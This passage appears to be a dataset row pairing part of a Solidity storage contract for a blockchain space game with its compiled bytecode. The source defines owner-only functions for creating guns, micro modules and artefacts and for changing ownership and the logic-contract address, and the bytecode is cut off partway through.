function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
// Micro modules
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
// Artefacts
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
/* ------ DEV FUNCTIONS ------ */
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
/* ------ CHANGE OWNERSHIP OF STORAGE ------ */
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
/* ------ CHANGE LOGIC CONTRACT ADDRESS ------ */
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063160dc0ac1461019b5780631a67456e146102ce5780631c5a5bc41461036b57806321ab3074146103fc578063294a65111461043f5780632eed00791461049657806332581fb01461053b5780633522e868146105fd578063371ab7021461064057806339a45a5c1461068f5780633dedc36e1461074857806349f307a6146107a55780635b633cf2146108225780636974c632146109005780636bea8215146109875780636ddd07f814610a1857806371752d0614610ae157806374d8b26814610b9457806376775c1014610c4f57806379bcae2a14610c9c578063a415a93e14610d2d578063b0f9ba7414610d44578063b3cea9e214610d5b578063c91e4cc814610dec578063d744175314610eca578063d746a38b14610fd2578063e023094f1461108d578063e185a8901461111e578063e955980314611175578063f038a96914611237578063fdf62f05146112c8578063ff23c7f214611363575b600080fd5b3480156101a757600080fd5b506102b860048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113f4565b6040518082815260200191505060405180910390f35b3480156102da57600080fd5b50610355600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c5565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b506103fa60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050611750565b005b34801561040857600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611abb565b005b34801561044b57600080fd5b50610480600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b23565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b5061053960048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611bc8565b005b34801561054757600080fd5b506105666004803603810190808035906020019092919050505061205d565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156105be5780820151818401526020810190506105a3565b50505050905090810190601f1680156105eb5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561060957600080fd5b5061063e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123b1565b005b34801561064c57600080fd5b5061066b60048036038101908080359060200190929190505050612419565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561069b57600080fd5b5061074660048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050612637565b005b34801561075457600080fd5b5061077360048036038101908080359060200190929190505050612bf6565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156107b157600080fd5b50610820600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190505050612f3d565b005b34801561082e57600080fd5b506108a9600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ffd565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156108ec5780820151818401526020810190506108d1565b505050509050019250505060405180910390f35b34801561090c57600080fd5b50610971600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506130d6565b6040518082815260200191505060405180910390f35b34801561099357600080fd5b50610a1660048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613197565b005b348015610a2457600080fd5b50610a43600480360381019080803590602001909291905050506132e5565b6040518087815260200180602001868152602001858152602001848152602001838152602001828103825287818151815260200191508051906020019080838360005b83811015610aa1578082015181840152602081019050610a86565b50505050905090810190601f168015610ace5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b348015610aed57600080fd5b50610b52600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506136cc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ba057600080fd5b50610bbf60048036038101908080359060200190929190505050613777565b6040518085815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610c11578082015181840152602081019050610bf6565b50505050905090810190601f168015610c3e5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b348015610c5b57600080fd5b50610c9a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613a35565b005b348015610ca857600080fd5b50610d2b60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613ae2565b005b348015610d3957600080fd5b50610d42613c30565b005b348015610d5057600080fd5b50610d59613d75565b005b348015610d6757600080fd5b50610dea60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050613dfe565b005b348015610df857600080fd5b50610e73600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613f4c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610eb6578082015181840152602081019050610e9b565b505050509050019250505060405180910390f35b348015610ed657600080fd5b50610f3b600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190505050614025565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b83811015610f93578082015181840152602081019050610f78565b50505050905090810190601f168015610fc05780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b348015610fde57600080fd5b50610ffd600480360381019080803590602001909291905050506142a6565b6040518085815260200180602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561104f578082015181840152602081019050611034565b50505050905090810190601f16801561107c5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561109957600080fd5b5061111c60048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050614564565b005b34801561112a57600080fd5b5061115f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506146b2565b6040518082815260200191505060405180910390f35b34801561118157600080fd5b506111a0600480360381019080803590602001909291905050506147a1565b6040518086815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b838110156111f85780820151818401526020810190506111dd565b50505050905090810190601f1680156112255780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34801561124357600080fd5b506112c660048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050614af5565b005b3480156112d457600080fd5b5061136160048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291908035906020019092919080359060200190929190505050614c43565b005b34801561136f57600080fd5b506113f260048036038101908080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291908035906020019092919080359060200190929190505050615043565b005b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145357600080fd5b6001600061146187896153ae565b60001916600019168152602001908152602001600020600081548092919060010191905055506002600061149586896153ae565b600019166000191681526020019081526020016000208790806001815401808255809150509060018203906000526020600020016000909192909190915055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327e9f294866040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561157e578082015181840152602081019050611563565b50505050905090810190601f1680156115ab5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1580156115ca57600080fd5b505af11580156115de573d6000803e3d6000fd5b505050506040513d60208110156115f457600080fd5b810190808051906020019092919050505090506002600061161585896153ae565b60001916600019168152602001908152602001600020819080600181540180825580915050906001820390600052602060002001600090919290919091505550856004600061166488856154e4565b6000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508691505095945050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172357600080fd5b6001600061173185856153ae565b6000191660001916815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ac57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d82b394f866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561183c57600080fd5b505af1158015611850573d6000803e3d6000fd5b5050505083600360006118ce6040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906118f7929190615d40565b5082600160006119726040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600281526020017f68700000000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000611a066040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f626c6f636b0000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508060016000611a9a6040805190810160405280600581526020017f7368697073000000000000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b1757600080fd5b611b20816156fc565b50565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8157600080fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c2457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351f6f870886040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015611cb457600080fd5b505af1158015611cc8573d6000803e3d6000fd5b505050508560036000611d466040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000209080519060200190611d6f929190615d40565b508460016000611dea6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508360016000611e7e6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000611f126040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000611fa66040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f6c6576656c0000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061203a6040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555050505050505050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c257600080fd5b856003600061213c6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006121cb6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508b6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020546001600061225b6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508c6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006122eb6040805190810160405280600981526020017f61727465666163747300000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123975780601f1061236c57610100808354040283529160200191612397565b820191906000526020600020905b81548152906001019060200180831161237a57829003601f168201915b505050505093509450945094509450945091939590929450565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561240d57600080fd5b6124168161577c565b50565b6000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561247a57600080fd5b600160006124f36040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250876040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006125836040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250886040805190810160405280600581526020017f6c6576656c0000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006126136040805190810160405280600c81526020017f6d6963726f4d6f64756c65730000000000000000000000000000000000000000815250896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020549250925092509193909250565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561269357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e9742d238a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561272357600080fd5b505af1158015612737573d6000803e3d6000fd5b5050505087600360006127b56040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906127de929190615d40565b5086600160006128596040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600381526020017f6d696e00000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555085600160006128ed6040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600381526020017f6d617800000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555084600160006129816040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600681526020017f72616469757300000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508360016000612a156040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600881526020017f72656368617267650000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000612aa96040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600781526020017f6162696c697479000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000612b3d6040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508060016000612bd16040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050505050565b6000806000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c5a57600080fd5b60016000612cd36040805190810160405280600481526020017f67756e7300000000000000000000000000000000000000000000000000000000815250896040805190810160405280600681526020017f72616469757300000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612d636040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600881526020017f72656368617267650000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612df36040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600781526020017f6162696c697479000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612e836040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000612f136040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020549450945094509450945091939590929450565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f9957600080fd5b8060016000612fde86866040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050565b6060600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561305b57600080fd5b6002600061306985856153ae565b600019166000191681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156130c957602002820191906000526020600020905b8154815260200190600101908083116130b5575b5050505050905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561313457600080fd5b6001600061317885856040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156131f357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663926d212e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561328357600080fd5b505af1158015613297573d6000803e3d6000fd5b505050506132de6040805190810160405280600a81526020017f67656e657261746f72730000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b60006060600080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561334b57600080fd5b86600360006133c56040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508b6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006134546040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f73706565640000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006134e46040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f67697065720000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006135746040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508e6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006136046040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508f6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054848054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136b05780601f10613685576101008083540402835291602001916136b0565b820191906000526020600020905b81548152906001019060200180831161369357829003601f168201915b5050505050945095509550955095509550955091939550919395565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561372a57600080fd5b6004600061373885856154e4565b6000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b60006060600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156137da57600080fd5b84600360006138546040805190810160405280600481526020017f67756e7300000000000000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006138e36040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600381526020017f6d696e00000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006139736040805190810160405280600481526020017f67756e73000000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600381526020017f6d617800000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a1f5780601f106139f457610100808354040283529160200191613a1f565b820191906000526020600020905b815481529060010190602001808311613a0257829003601f168201915b5050505050925093509350935093509193509193565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a9157600080fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b3e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663678d6eff866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015613bce57600080fd5b505af1158015613be2573d6000803e3d6000fd5b50505050613c296040805190810160405280600581526020017f6675656c7300000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613c8c57600080fd5b613cd760016040805190810160405280601481526020017f546974616e69756d2052616e6765722048756c6c00000000000000000000000081525060c8600265105ef39b2000611750565b613d2560026040805190810160405280601481526020017f506c6174696e756d2052616e6765722048756c6c000000000000000000000000815250610190600467063eb89da4ed0000611750565b613d7360036040805190810160405280601681526020017f4164616d616e7469756d2052616e6765722048756c6c000000000000000000008152506102586007670c7d713b49da0000611750565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613dd157600080fd5b73d135377eb20666725d518c967f23e168045ee11f73ffffffffffffffffffffffffffffffffffffffff16ff5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e5a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166310a31091866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015613eea57600080fd5b505af1158015613efe573d6000803e3d6000fd5b50505050613f456040805190810160405280600681526020017f726164617273000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b6060600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613faa57600080fd5b60026000613fb885856153ae565b6000191660001916815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561401857602002820191906000526020600020905b815481526020019060010190808311614004575b5050505050905092915050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561408a57600080fd5b85600360006140cf8a8a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006141298b8b6040805190810160405280600581526020017f76616c75650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006141848c8c6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006141df8d8d6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561428b5780601f106142605761010080835404028352916020019161428b565b820191906000526020600020905b81548152906001019060200180831161426e57829003601f168201915b50505050509350945094509450945094509295509295909350565b60006060600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561430957600080fd5b84600360006143836040805190810160405280600c81526020017f6d6963726f4d6f64756c6573